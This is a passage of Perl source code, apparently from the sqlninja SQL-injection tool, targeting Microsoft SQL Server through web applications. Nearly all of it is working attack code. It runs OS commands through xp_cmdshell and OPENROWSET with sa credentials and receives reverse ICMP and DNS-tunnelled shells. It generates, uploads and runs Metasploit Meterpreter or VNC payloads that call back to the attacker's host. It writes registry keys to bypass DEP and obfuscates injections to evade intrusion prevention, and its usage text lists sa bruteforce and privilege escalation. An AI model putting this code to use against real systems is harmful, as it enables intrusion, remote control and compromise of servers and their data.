3036 ReplyHandler => \&reply_handler, 3037 Verbose => 0 3038 ) || die "could't create nameserver object\n"; 3039 $ns->main_loop; 3040} 3041 3042sub reply_handler 3043{ 3044 my ($qname, $qclass, $qtype, $peerhost) = @_; 3045 my ($rcode, @ans, @auth, @add); 3046 if (($qtype ne "A") or ($qname !~ /$domain/)) { 3047 return; 3048 } 3049 my ($ttl,$rdata) = (0,$resolvedip); 3050 push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata"); 3051 $rcode = "NOERROR"; 3052 my $s = IO::Socket::UNIX->new(Peer => $dnssock, 3053 Type => SOCK_DGRAM, 3054 Timeout => 20); 3055 $s->send($qname); 3056 close $s; 3057 return ($rcode, \@ans, \@auth, \@add, {aa => 1}); 3058} 3059 3060# Receives the dns messages from the sniffing child 3061# and processes them 3062sub decodedns 3063{ 3064 my $ninjasock = $_[0]; 3065 my $msg; # message from the DNS daemon 3066 my @msgarray; # holds all received messages 3067 my $buffer = ""; # buffer to decode 3068 my $lastbuffered = -1; # last message appended to buffer 3069 my $number; # number of current message 3070 my $lastreceived = 0; # boolean: last packet received ? 3071 my $complete = 0; # boolean: all packets received ? 3072 3073 my $chunklen; # length of chunk to decode 3074 my $chunk; # chunk to decode 3075 my $decoded; # decoded chunk` 3076 my $n; 3077 my $m; 3078 3079 my $server = IO::Socket::UNIX->new(Local => $dnssock, 3080 Type => SOCK_DGRAM, 3081 Listen=> 10) 3082 || die "can't create UNIX socket: $!\n"; 3083 # Let's start listening ! :) 3084 while ($complete == 0) { 3085 $server->recv($msg,255,0); 3086 # cut the domain and the dots.... 3087 $msg =~ s/$domain//; 3088 $msg =~ s/\.//g; 3089 3090 # If there is a "9", it's the last message 3091 # Check dnstunnel.c for encoding details 3092 if ($msg =~ /9/) { 3093 ($n,$m) = split(/9/,$msg); 3094 $lastreceived = 1; 3095 } else { 3096 ($n,$m) = split(/8/,$msg); 3097 } 3098 3099 # Insert the received message in the array 3100 $number=base32counterdecode($n); 3101 $msgarray[$number]=$m; 3102 # If the received message is exactly the same 3103 # that we were waiting for, append it to the buffer, 3104 # followed by other ones previously received in wrong 3105 # order, if any 3106 my $arraylen = @msgarray; 3107 while (($msgarray[$number] ne "") and ($number<$arraylen)) { 3108 if ($number == ($lastbuffered+1)) { 3109 $buffer .= $msgarray[$number]; 3110 $lastbuffered = $lastbuffered+1; 3111 } 3112 $number++; 3113 } 3114 3115 # decode what can be decoded in the buffer and print 3116 $chunklen = (int(length($buffer)/8))*8; 3117 $chunk = substr($buffer,0,$chunklen); 3118 $buffer = substr($buffer,$chunklen); 3119 $decoded = base32decode($chunk); 3120 print $decoded; 3121 3122 # Are we at the end ? 3123 $complete=checkdnscomplete(\@msgarray,$lastreceived); 3124 } 3125 3126 $decoded = base32decode($buffer); 3127 print $decoded; 3128 my $s = IO::Socket::UNIX->new(Peer => $ninjasock, 3129 Type => SOCK_DGRAM, 3130 Timeout => 10) 3131 || die "can't create UNIX socket: $!\n"; 3132 $s->send("decoded"); 3133 close $s; 3134 exit(0); 3135} 3136 3137# Check whether all messages have been received 3138sub checkdnscomplete 3139{ 3140 my @msgarray=@{$_[0]}; 3141 if ($_[1] == 0) { 3142 return 0; 3143 } 3144 my $number = @msgarray; 3145 my $i; 3146 my $complete = 1; 3147 if ($_[1] == 1) { 3148 for ($i=0;$i<$number;$i++) { 3149 if ($msgarray[$i] eq '') { 3150 $complete=0; 3151 } 3152 } 3153 } 3154 return $complete; 3155} 3156 3157# decode a base32-encoded string 3158# Outrageously ripped from Convert-Base-32 by Tatsuhiko Miyagawa 3159sub base32decode 3160{ 3161 my $encoded = $_[0]; 3162 lc($encoded); # shouldn't be necessary... but just to be sure 3163 my %char2bits = qw@ 3164 a 00000 3165 b 00001 3166 c 00010 3167 d 00011 3168 e 00100 3169 f 00101 3170 g 00110 3171 h 00111 3172 i 01000 3173 j 01001 3174 k 01010 3175 l 01011 3176 m 01100 3177 n 01101 3178 o 01110 3179 p 01111 3180 q 10000 3181 r 10001 3182 s 10010 3183 t 10011 3184 u 10100 3185 v 10101 3186 w 10110 3187 x 10111 3188 y 11000 3189 z 11001 3190 0 11010 3191 1 11011 3192 2 11100 3193 3 11101 3194 4 11110 3195 5 11111 3196 @; 3197 my $buffer = ''; 3198 for my $pos (0..length($encoded)-1) { 3199 $buffer .= $char2bits{substr($encoded,$pos,1)}; 3200 } 3201 return pack('B*',$buffer); 3202} 3203 3204# decode a base32-encoded counter 3205sub base32counterdecode 3206{ 3207 my $encoded = $_[0]; 3208 my %char2number = qw@ 3209 a 0 3210 b 1 3211 c 2 3212 d 3 3213 e 4 3214 f 5 3215 g 6 3216 h 7 3217 i 8 3218 j 9 3219 k 10 3220 l 11 3221 m 12 3222 n 13 3223 o 14 3224 p 15 3225 q 16 3226 r 17 3227 s 18 3228 t 19 3229 u 20 3230 v 21 3231 w 22 3232 x 23 3233 y 24 3234 z 25 3235 0 26 3236 1 27 3237 2 28 3238 3 29 3239 4 30 3240 5 31 3241 @; 3242 my $number; 3243 my $i; 3244 my $len = length($encoded); 3245 for my $pos (0..$len-1) { 3246 $i = $char2number{substr($encoded,$pos,1)}; 3247 $number += $i*(32 ** ($len-1-$pos)); 3248 } 3249 return $number; 3250} 3251 3252sub icmpshell 3253{ 3254 print "[+] Starting reverse ICMP shell.\n"; 3255 print " Don't forget to disable ICMP replies by the OS:\n"; 3256 print " e.g: sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"; 3257 print " Hit CTRL+C to be dropped back to your shell.\n"; 3258 3259 # read in data buffer size 3260 my $dbsize; 3261 do { 3262 print "[+] Data buffer size in bytes [default: 64]: "; 3263 $dbsize = <STDIN>; 3264 chomp($dbsize); 3265 if (length($dbsize) == 0) { 3266 $dbsize = 64; 3267 } elsif ($dbsize <= 0 or $dbsize !~ m/^\d+$/) { 3268 print " Data buffer size should be greater than 0\n"; 3269 $dbsize = 0; 3270 } 3271 } while ($dbsize == 0); 3272 3273 # read in send delay 3274 my $delay; 3275 do { 3276 print "[+] Send delay in milliseconds [default: 300]: "; 3277 $delay = <STDIN>; 3278 chomp($delay); 3279 if (length($delay) == 0) { 3280 $delay = 300; 3281 } elsif ($delay < 0 or $delay !~ m/^\d+$/) { 3282 print " Send delay should be a positive number\n"; 3283 $delay = 0; 3284 } 3285 } while ($delay == 0); 3286 3287 # read in time out 3288 my $timeout; 3289 do { 3290 print "[+] Response timeout in milliseconds [default: 5000]: "; 3291 $timeout = <STDIN>; 3292 chomp($timeout); 3293 if (length($timeout) == 0) { 3294 $timeout = 3000; 3295 } elsif ($timeout < 0 or $timeout !~ m/^\d+$/) { 3296 print " Timeout should be a positive number\n"; 3297 $timeout = 0; 3298 } 3299 } while ($timeout == 0); 3300 3301 3302 # start master 3303 my $listenerpid = fork(); 3304 if ($listenerpid == 0) { 3305 3306 my $cmd = "\%TEMP\%\\icmpsh -t $lhost -s $dbsize -d $delay -o $timeout"; 3307 my $command = createcommand($cmd); 3308 my $result = sendrequest($command); 3309 exit(0); 3310 } 3311 3312 icmplistener(); 3313} 3314 3315sub icmplistener 3316{ 3317 # create raw socket 3318 my $sock = IO::Socket::INET->new( 3319 Proto => "ICMP", 3320 Type => SOCK_RAW, 3321 Blocking => 1) or die "$!"; 3322 3323 # set stdin to non-blocking 3324 fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!"; 3325 3326 my $input = ''; 3327 while (1) { 3328 if ($sock->recv(my $buffer, 4096, 0)) { 3329 my $ip = NetPacket::IP->decode($buffer); 3330 my $icmp = NetPacket::ICMP->decode($ip->{data}); 3331 if ($icmp->{type} == 8) { 3332 # get identifier and sequencenumber 3333 my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data}); 3334 3335 # write data to stdout and read from stdin 3336 print $data; 3337 $input = <STDIN>; 3338 3339 # compile and send response 3340 $icmp->{type} = 0; 3341 $icmp->{data} = pack("SSa*", $ident, $seq, $input); 3342 my $raw = $icmp->encode(); 3343 my $addr = sockaddr_in(0, inet_aton($ip->{src_ip})); 3344 $sock->send($raw, 0, $addr) or die "$!\n"; 3345 } 3346 } 3347 } 3348} 3349 3350# Launches "blind" commands using xp_cmdshell through the web application 3351sub sqlcmd 3352{ 3353 print "[+] Starting blind command mode."; 3354 print " Use \"exit\" to be dropped back to your shell.\n"; 3355 my $cmd; 3356 my $command; 3357 my $result; 3358 while (1) { 3359 print "> "; 3360 $cmd = <STDIN>; 3361 chomp($cmd); 3362 if ($churrasco == 1) { 3363 $cmd = usechurrasco($cmd); 3364 } 3365 if ($cmd eq "exit") { 3366 print "Thank you for using sqlninja... see ya\n"; 3367 exit(0); 3368 } 3369 if ($cmd ne "") { 3370 $command = createcommand($cmd); 3371 $result = sendrequest($command); 3372 print "[+] Command has been sent and executed\n"; 3373 } 3374 } 3375} 3376 3377# Use the metasploit framework to create a payload, upload it and execute it 3378# Of course, you need metasploit3 in your path 3379# And kudos to the whole Metasploit team 3380sub metasploit 3381{ 3382 print "[+] Entering Metasploit module. In order to use this module ". 3383 "you need to\n have found an available TCP port, either ". 3384 "inbound or outbound\n"; 3385 # We start checking whether Metasploit is there... 3386 print "[+] Checking Metasploit3 availability....\n"; 3387 my $msfcli = ""; 3388 my $msfpayload = ""; 3389 my $msfencode = ""; 3390 if ($msfpath eq "") { 3391 my $path1 = $ENV{PATH}; 3392 my @path = split(/:/,$path1); 3393 foreach (@path) { 3394 if (-e $_."/msfcli") { 3395 $msfcli = $_."/msfcli"; 3396 } elsif (-e $_."/msfcli3") { 3397 $msfcli = $_."/msfcli3"; 3398 } 3399 if (-e $_."/msfpayload") { 3400 $msfpayload = $_."/msfpayload"; 3401 } elsif (-e $_."/msfpayload3") { 3402 $msfpayload = $_."/msfpayload3"; 3403 } 3404 if (-e $_."/msfencode") { 3405 $msfencode = $_."/msfencode"; 3406 } elsif (-e $_."/msfencode3") { 3407 $msfencode = $_."/mfsencode3"; 3408 } 3409 } 3410 } else { 3411 if ($msfpath != m/\/$/) { # add a final slash, if needed 3412 $msfpath .= "/"; 3413 } 3414 if (-e $msfpath."msfcli") { 3415 $msfcli = $msfpath."msfcli"; 3416 } elsif (-e $msfpath."msfcli3") { 3417 $msfcli = $msfpath."msfcli3"; 3418 } 3419 if (-e $msfpath."msfpayload") { 3420 $msfpayload = $msfpath."msfpayload"; 3421 } elsif (-e $msfpath."msfpayload3") { 3422 $msfpayload = $msfpath."msfpayload3"; 3423 } 3424 if (-e $msfpath."msfencode") { 3425 $msfencode = $msfpath."msfencode"; 3426 } elsif (-e $msfpath."msfencode3") { 3427 $msfencode = $msfpath."msfencode3"; 3428 } 3429 } 3430 if ($msfcli eq "") { 3431 print "[-] msfcli not found\n"; 3432 exit(-1); 3433 } 3434 if ($msfpayload eq "") { 3435 print "[-] msfpayload not found\n"; 3436 exit(-1); 3437 } 3438 if (($msfencode eq "") and ($msfencoder ne "")) { 3439 print "[-] msfencode not found\n"; 3440 exit(-1); 3441 } 3442 print "[+] Which payload you want to use?\n"; 3443 print " 1: Meterpreter\n 2: VNC\n"; 3444 my $payload; 3445 while (($payload != 1) and ($payload != 2)) { 3446 print "> "; 3447 $payload = <STDIN>; 3448 chomp($payload); 3449 } 3450 if ($payload == 1) { 3451 $payload = "meterpreter"; 3452 } else { 3453 $payload = "vncinject"; 3454 } 3455 print "[+] Which type of connection you want to use?\n"; 3456 print " 1: bind_tcp\n 2: reverse_tcp\n"; 3457 my $conn; 3458 while (($conn ne "1") and ($conn ne "2")) { 3459 print "> "; 3460 $conn = <STDIN>; 3461 chomp($conn); 3462 } 3463 if ($conn == 1) { 3464 $conn = "bind_tcp"; 3465 } else { 3466 $conn = "reverse_tcp"; 3467 } 3468 my $host2; 3469 if ($conn eq "bind_tcp") { 3470 print "[+] Enter remote host [".$host."]\n> "; 3471 $host2 = <STDIN>; 3472 chomp $host2; 3473 if ($host2 eq "") { 3474 $host2 = $host; 3475 } 3476 } 3477 if ($conn eq "bind_tcp") { 3478 print "[+] Enter remote port number\n"; 3479 } else { 3480 print "[+] Enter local port number\n"; 3481 } 3482 my $port = 0; 3483 while (($port < 1) or ($port > 65535)) { 3484 print "> "; 3485 $port = <STDIN>; 3486 chomp($port); 3487 } 3488 3489 # ok... let's start the fun 3490 # We start creating the payload executable 3491 # We use a random name, because using the same name twice would 3492 # create problems if the first executable is still running 3493 my $exe = "met".int(rand()*65535); 3494 my $command = $msfpayload." windows/".$payload."/".$conn. 3495 " exitfunc=process lport=".$port." "; 3496 if ($conn ne "bind_tcp") { 3497 $command .= " lhost=".$lhost." "; 3498 } 3499 if ($msfencoder eq "") { 3500 $command .= " X > /tmp/".$exe.".exe"; 3501 } else { 3502 $command .= " R | ".$msfencode. 3503 " -e ".$msfencoder. 3504 " -c ".$msfencodecount. 3505 " -t exe". 3506 " -o /tmp/".$exe.".exe"; 3507 } 3508 if ($verbose == 1) { 3509 print "[v] Command: ".$command."\n"; 3510 } 3511 print "[+] Calling msfpayload3 to create the payload...\n"; 3512 system ($command); 3513 unless (-e "/tmp/".$exe.".exe") { 3514 print "[-] Payload creation failed\n"; 3515 exit(-1); 3516 } 3517 print "[+] Payload (".$exe.".exe) created. Now uploading it\n"; 3518 upload("/tmp/".$exe.".exe"); 3519 system ("rm /tmp/".$exe.".exe"); 3520 3521 my $cmd; 3522 if ($checkdep eq "yes") { 3523 # We might have to disable DEP for met.exe 3524 print "[+] Checking if DEP (Data Execution Prevention) ". 3525 "is enabled on target\n"; 3526 $cmd = "declare \@a nvarchar(999) ". 3527 "EXEC master..xp_regread 'HKEY_LOCAL_MACHINE',". 3528 "'SYSTEM\\CurrentControlSet\\Control',". 3529 "'SystemStartOptions',\@a OUTPUT ". 3530 "if \@a like '%NOEXECUTE%' waitfor delay '0:0:" 3531 .$blindtime."'"; 3532 my $result = tryblind($cmd); 3533 if ($result > ($blindtime - 2)) { 3534 handledep($exe); 3535 } else { 3536 print "[+] No DEP detected.... good\n"; 3537 } 3538 } 3539 3540 # A couple of variables to handle some delays, depending on 3541 # who starts the connection 3542 my $delaycli = 0; 3543 my $delaydb = 0; 3544 if ($conn eq "bind_tcp") { 3545 $delaycli = 5; 3546 } else { 3547 $delaydb = 5; 3548 } 3549 # The child handles the request to the target, the parent 3550 # calls Metasploit 3551 my $pid = fork(); 3552 if ($pid == 0) { 3553 # Launch met.exe 3554 sleep($delaydb); 3555 $cmd = "%TEMP%\\".$exe.".exe"; 3556 if ($churrasco == 1) { 3557 $cmd = usechurrasco($cmd); 3558 } 3559 $command = createcommand($cmd); 3560 sendrequest($command); 3561 exit(0); 3562 } 3563 # This is the parent 3564 sleep($delaycli); 3565 my $syscommand = $msfcli." multi/handler ". 3566 "payload=windows/".$payload."/".$conn." "; 3567 if ($conn eq "bind_tcp") { 3568 $syscommand .= "lport=".$port." rhost=".$host2." E"; 3569 } else { 3570 $syscommand .= "lport=".$port." lhost=".$lhost." E"; 3571 } 3572 if ($verbose == 1) { 3573 print "[v] Execuring: ".$syscommand."\n"; 3574 } 3575 print "[+] Transferring control to msfcli. Have fun!\n\n"; 3576 system($syscommand); 3577} 3578 3579# Wrap $cmd with churrasco.exe 3580sub usechurrasco 3581{ 3582 return "%TEMP%\\churrasco.exe \"".$_[0]."\""; 3583} 3584 3585# Windows Server 2003 SP1+ has DEP enabled.... we need to take care of this 3586sub handledep 3587{ 3588 my $exe = $_[0]; 3589 my $dep; 3590 my $cmd; 3591 my $result; 3592 3593 # This is the generic query to check what configuration is in place 3594 my $depquery1 = "declare \@a nvarchar(100) ". 3595 "EXEC master..xp_regread 'HKEY_LOCAL_MACHINE',". 3596 "'SYSTEM\\CurrentControlSet\\Control',". 3597 "'SystemStartOptions',\@a OUTPUT ". 3598 "if \@a like '%"; 3599 my $depquery2 = "%' waitfor delay '0:0:".$blindtime."'"; 3600 3601 # We start with "OptOut", which should be the default 3602 $cmd = $depquery1."OPTOUT".$depquery2; 3603 $result = tryblind($cmd); 3604 if ($result > ($blindtime - 2)) { 3605 $dep = "OptOut"; 3606 } 3607 if ($dep eq "") { 3608 $cmd = $depquery1."OPTIN".$depquery2; 3609 $result = tryblind($cmd); 3610 if ($result > ($blindtime - 2)) { 3611 $dep = "OptIn"; 3612 } 3613 } 3614 if ($dep eq "") { 3615 $cmd = $depquery1."ALWAYSON".$depquery2; 3616 $result = tryblind($cmd); 3617 if ($result > ($blindtime - 2)) { 3618 $dep = "AlwaysOn"; 3619 } else { 3620 $dep = "AlwaysOff"; 3621 } 3622 } 3623 if (($dep eq "OptIn") or ($dep eq "AlwaysOff")) { 3624 print "[+] DEP is marked as ".$dep.". We should be fine\n"; 3625 return; 3626 } elsif ($dep eq "AlwaysOn") { 3627 print "[-] DEP is marked as AlwaysOn... \n". 3628 "[-] Will try my best but don't count on it too much\n"; 3629 } else { 3630 print "[+] DEP is marked as OptOut...trying to disable it\n"; 3631 } 3632 3633 # Whitelist our executable 3634 # $cmd = "exec xp_regdeletekey 'HKEY_LOCAL_MACHINE','Software\\". 3635 # "Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers'"; 3636 #sendrequest($cmd); 3637 3638 my $table = "##ice".int(rand()*9999); 3639 $cmd = "declare \@b nvarchar(999) ". 3640 "create table ".$table." (a nvarchar(999)) ". 3641 "insert into ".$table." exec master..".$xp_name." 'echo %TEMP%' ". 3642 "set \@b = (select top 1 * from ".$table.")+'\\".$exe.".exe' ". 3643 "exec master..xp_regwrite 'HKEY_LOCAL_MACHINE',". 3644 "'Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers',". 3645 "\@b,'REG_SZ','DisableNXShowUI' ". 3646 "drop table ".$table; 3647 sendrequest($cmd); 3648 # God bless xp_regread and xp_regwrite... 3649 # Two authentic backdoors by design 3650} 3651 3652sub createcommand 3653{ 3654 my $cmd = $_[0]; 3655 $cmd =~ s/'/''/g; 3656 my $command; 3657 $cmd = "cmd /C ".$cmd; 3658 # a) sysadmin privileges, native or with sp_addsrvrolemember. 3659 # If so, we have for sure xp_cmdshell (either native or custom) 3660 if ($password eq "") { 3661 $command = "exec master..".$xp_name." '".$cmd."';"; 3662 } 3663 # b) we have the password, we have a xp_cmdshell, but the call to 3664 # sp_addsrvrolemember is not yet effective (damn ODBC connection 3665 # pool!). Therefore, we have to use openrowset at each call 3666 elsif ($xp_name ne "NULL") { 3667 # $password =~ s/ /%20/g; 3668 $cmd =~ s/'/''/g; 3669 $command = "select * from OPENROWSET('SQLOLEDB','';'sa';'". 3670 $password."','select 1;exec master..".$xp_name. 3671 " ''".$cmd."''');"; 3672 } 3673 # c) we have the password, but no xp_cmdshell and sp_addsrvrolemember 3674 # is not yet effective. CREATE PROCEDURE does not seem to work when 3675 # nested into OPENROWSET, so we have to use the custom_xp code each 3676 # time. 3677 # Complicated, slow, but it works 3678 else { 3679 # $password =~ s/ /%20/g; 3680 $cmd =~ s/'/''/g; 3681 $command = "select * from OPENROWSET('SQLOLEDB','';'sa';'". 3682 $password."','select 1;DECLARE \@ID int ". 3683 "EXEC sp_OACreate ''WScript.Shell'',\@ID OUT ". 3684 "EXEC sp_OAMethod \@ID,''Run'',Null,''".$cmd."'',0,1 ". 3685 "EXEC sp_OADestroy \@ID');"; 3686 } 3687} 3688 3689# Converts a query to its hex string 3690sub convert2hex 3691{ 3692 my $s = $_[0]; 3693 $s =~ s/(.)/sprintf("%02lx", ord $1)/eg; 3694 $s = "0x".$s; 3695 return $s; 3696} 3697 3698sub randomcase 3699{ 3700 my $s1 = $_[0]; 3701 my $s2; 3702 my @s = split(//,$s1); 3703 foreach (@s) { 3704 if ($_ =~ /\w/) { 3705 if (int(rand(2))==1) { 3706 $s2 = $s2.uc($_); 3707 } else { 3708 $s2 = $s2.lc($_); 3709 } 3710 } else { 3711 $s2 = $s2.$_; 3712 } 3713 } 3714 return $s2; 3715} 3716 3717# Performs some magic on the query to inject, in order to confuse IPS's. 3718# No, it's not necessarily an 'evil black hat' feature 3719sub evadeips 3720{ 3721 my $command = $_[0]; 3722 3723 # N.B.: Order is important 3724 3725 # Transform the query to its hex representation and executes it 3726 if ($evasion =~ /1/) { 3727 my $hex = convert2hex($command); 3728 $command = "declare \@a varchar(8000) ". 3729 "set \@a=".$hex." ". 3730 "exec (\@a)"; 3731 } 3732 3733 # Use comments as separator 3734 if ($evasion =~ /2/) { 3735 $command =~ s/[\t\r\n]/ /g; 3736 $command =~ s/ /\/**\//g; 3737 } 3738 3739 # Random case 3740 if ($evasion =~ /3/) { 3741 $command = randomcase($command); 3742 } 3743 3744 # ...random URL-encoding must be encapsulated in urlencode() 3745 3746 return $command; 3747} 3748 3749# Encode SQL commands into url-friendly strings 3750# It also perform random URI encoding evasion 3751sub urlencode 3752{ 3753 my $s = $_[0]; 3754 if ($verbose == 1) { 3755 " [v] URL-encoding command\n"; 3756 } 3757 $s =~ s/[\t\r\n]/ /g; 3758 3759 my @t = split(//,$s); 3760 $s = ""; 3761 foreach (@t) { 3762 if (($evasion =~ /4/) # If random URI encoding, 3763 and ($_ =~ /[A-Za-z0-9]/) # and it's alphanumeric 3764 and (int(rand(3))==1)) { # we might as well encode it :) 3765 $_=sprintf("%%%2X", ord($_)); 3766 } else { 3767 $_=~s/([^A-Za-z0-9])/sprintf("%%%2X", ord($1))/se; 3768 } 3769 $s=$s.$_; 3770 } 3771 return $s; 3772} 3773 3774 3775# Send the request to the web server and return the results 3776sub sendrequest 3777{ 3778 my $command; 3779 my $httprequest_tmp = $httprequest; # We use temp variables, so that we don't taint the original 3780 my $postline_tmp = $postline; 3781 3782 # Do we need to evade some IPS? 3783 if ($evasion eq "0") { 3784 $command = $_[0]; 3785 } else { 3786 $command = evadeips($_[0]); 3787 } 3788 # DEBUG MODE 1 3789 if (($debug eq "1") or ($debug eq "all")) { 3790 print "++++++++++++++++SQL Command++++++++++++++++\n"; 3791 print $_[0]."\n"; 3792 print "-------------------------------------------\n"; 3793 } 3794 3795 if (($evasion ne "0") and (($debug eq "1") or ($debug eq "all"))) { 3796 print "+++++++++Obfuscated SQL Command++++++++++++\n"; 3797 print $command."\n"; 3798 print "-------------------------------------------\n"; 3799 } 3800 3801 $command = urlencode($command); 3802 3803 # Create the socket for the communication 3804 my $s; # The socket 3805 # Create the correct socket depending on proxy and SSL 3806 if (($ssl == 0) and ($proxyhost eq "")) { 3807 $s = IO::Socket::INET->new 3808 ( 3809 PeerAddr => $host, 3810 PeerPort => $port, 3811 Proto => 'tcp', 3812 Type => SOCK_STREAM 3813 ); 3814 if (!defined $s) { 3815 print "\nError: could not create socket to ".$host.":" 3816 .$port."\n"; 3817 exit(1); 3818 } 3819 } elsif (($ssl == 1) and ($proxyhost eq "")) { 3820 $s = IO::Socket::SSL->new 3821 ( 3822 PeerAddr => $host, 3823 PeerPort => $port 3824 ); 3825 if (!defined $s) { 3826 print "\nError: could not create SSL socket to " 3827 .$host.":".$port."\n"; 3828 exit(1); 3829 } 3830 } elsif (($ssl == 0) and ($proxyhost ne "")) { 3831 $s = IO::Socket::INET->new 3832 ( 3833 PeerAddr => $proxyhost, 3834 PeerPort => $proxyport, 3835 Proto => 'tcp', 3836 Type => SOCK_STREAM 3837 ); 3838 if (!defined $s) { 3839 print "\nError: could not create socket to ". 3840 $proxyhost.":".$proxyport."\n"; 3841 exit(1); 3842 } 3843 } else { 3844 $s = IO::Socket::INET->new 3845 ( 3846 PeerAddr => $proxyhost, 3847 PeerPort => $proxyport, 3848 Proto => 'tcp', 3849 Type => SOCK_STREAM 3850 ); 3851 if (!defined $s) { 3852 print "\nError: could not create socket to ". 3853 $proxyhost.":".$proxyport."\n"; 3854 exit(1); 3855 } 3856 3857 print $s "CONNECT ".$host.":".$port." HTTP/1.".$httpversion."\r\n". 3858 "Host: ".$vhost."\r\n\r\n"; 3859 my $proxyresp = <$s>; 3860 # The following is causing *completely random* problems with 3861 # my VMPlayer. Need to investigate 3862 # if ($proxyresp !~ / 200 /) { 3863 # print "Proxy CONNECT failed: $proxyresp"; 3864 # exit(1) 3865 #} 3866 IO::Socket::SSL->start_SSL($s, SSL_startHandshake => 0); 3867 $s->connect_SSL; 3868 if (!defined $s) { 3869 print "\nError: proxy SSL CONNECT to socket to ". 3870 $host.":".$port." failed\n"; 3871 exit(1); 3872 } 3873 } 3874 $s->autoflush(1); 3875 my $finalstring; 3876 # If there is a proxy, we need to add the host to the 3877 # first line of the request. We use $proxystring for this 3878 my $proxystring = ""; 3879 if (($proxyhost ne "") and ($ssl == 0)) { 3880 $proxystring = "http://".$host.":".$port; 3881 } 3882 3883 $command .= $appendcomment; 3884 3885 $httprequest_tmp =~ s/$sqlmarker/$command/; 3886 # method: POST 3887 if ($method eq "POST") { 3888 $postline_tmp =~ s/$sqlmarker/$command/; 3889 my $contentlength = length($postline_tmp); 3890 $httprequest_tmp =~ s/__CONTENT_LENGTH__/$contentlength/; 3891 $httprequest_tmp .= "\n"; 3892 } else { 3893 $httprequest_tmp .= "\n"; 3894 } 3895 $httprequest_tmp =~ s/\n/\r\n/g; 3896 3897 # DEBUG MODE 2 3898 if (($debug eq "2") or ($debug eq "all")) { 3899 print "+++++++++++++++HTTP Request++++++++++++++++\n"; 3900 print $httprequest_tmp; 3901 print "-------------------------------------------\n"; 3902 } 3903 print $s $httprequest_tmp; 3904 # and here is the response from the server 3905 my $line; 3906 my $result = ""; 3907 my $errormsg = " Check configuration, as things might not be ". 3908 "working as expected !\n"; 3909 3910 # Dirty hack to cope with broken proxies that do not 3911 # care about the "Connection: close" header 3912 while ((defined($line = <$s>)) and ($result !~ m/<\/html>/i)) { 3913 $result .= $line; 3914 } 3915 3916 # We have the result. Now some error checking... 3917 # First we get rid of all \r\n's 3918 $result =~ s/\r\n/\n/g; 3919 3920 # Then we split the result in different lines 3921 my @lines = (split /\n/,$result); 3922 3923 # If it is a POST requests, the web server will answer with "100 3924 # Continue" first. We have to skip that part of response to check 3925 # the actual response code. In order to do so, we have to look for 3926 # the first empty line. 3927 if ($lines[0] =~ m/100 Continue/) { 3928 while ($lines[0] ne "") { 3929 shift(@lines); 3930 } 3931 shift(@lines); # Shift the remaining empty line 3932 } 3933 3934 # Ok, unless something went wrong, we have the response code in the 3935 # first line of the array 3936 if (($lines[0] !~ m/200 OK/) and # not a 200 OK 3937 ($errorflag == 0) and # no previous errors detected 3938 ($mode ne "b") and # errors can be fine when bruteforcing 3939 ($mode ne "bruteforce")) { 3940 $errorflag = 1; 3941 print "[-] Warning... the server responded with ".$lines[0] 3942 ."\n"; 3943 print $errormsg; 3944 } 3945 # Second: check for custom error 3946 if (($errorstring ne "") and # custom error has been defined 3947 ($errorflag == 0) and # no previous error detected 3948 ($mode ne "b") and # errors can be fine when bruteforcing 3949 ($mode ne "bruteforce") and 3950 ($result =~ /$errorstring/)) { # error string found 3951 $errorflag = 1; 3952 print "[-] Warning... custom error page detected.\n"; 3953 print $errormsg; 3954 } 3955 close $s; 3956 # DEBUG MODE 3 3957 if (($debug eq "3") or ($debug eq "all")) { 3958 print "++++++++++++++HTTP Response++++++++++++++++\n"; 3959 print $result; 3960 print "-------------------------------------------\n"; 3961 } 3962 return $result; 3963} 3964 3965sub usage 3966{ 3967 die <<EOF; 3968Usage: $0 3969 -m <mode> : Required. Available modes are: 3970 t/test - test whether the injection is working 3971 f/fingerprint - fingerprint user, xp_cmdshell and more 3972 b/bruteforce - bruteforce sa account 3973 e/escalation - add user to sysadmin server role 3974 x/resurrectxp - try to recreate xp_cmdshell 3975 u/upload - upload a .scr file 3976 s/dirshell - start a direct shell 3977 k/backscan - look for an open outbound port 3978 r/revshell - start a reverse shell 3979 d/dnstunnel - attempt a dns tunneled shell 3980 i/icmpshell - start a reverse ICMP shell 3981 c/sqlcmd - issue a 'blind' OS command 3982 m/metasploit - wrapper to Metasploit stagers 3983 -f <file> : configuration file (default: sqlninja.conf) 3984 -p <password> : sa password 3985 -w <wordlist> : wordlist to use in bruteforce mode (dictionary method 3986 only) 3987 -g : generate debug script and exit (only valid in upload mode) 3988 -v : verbose output 3989 -d <mode> : activate debug 3990 1 - print each injected command 3991 2 - print each raw HTTP request 3992 3 - print each raw HTTP response 3993 all - all of the above 3994 ...see sqlninja-howto.html for details 3995 3996EOF 3997} 3998 3999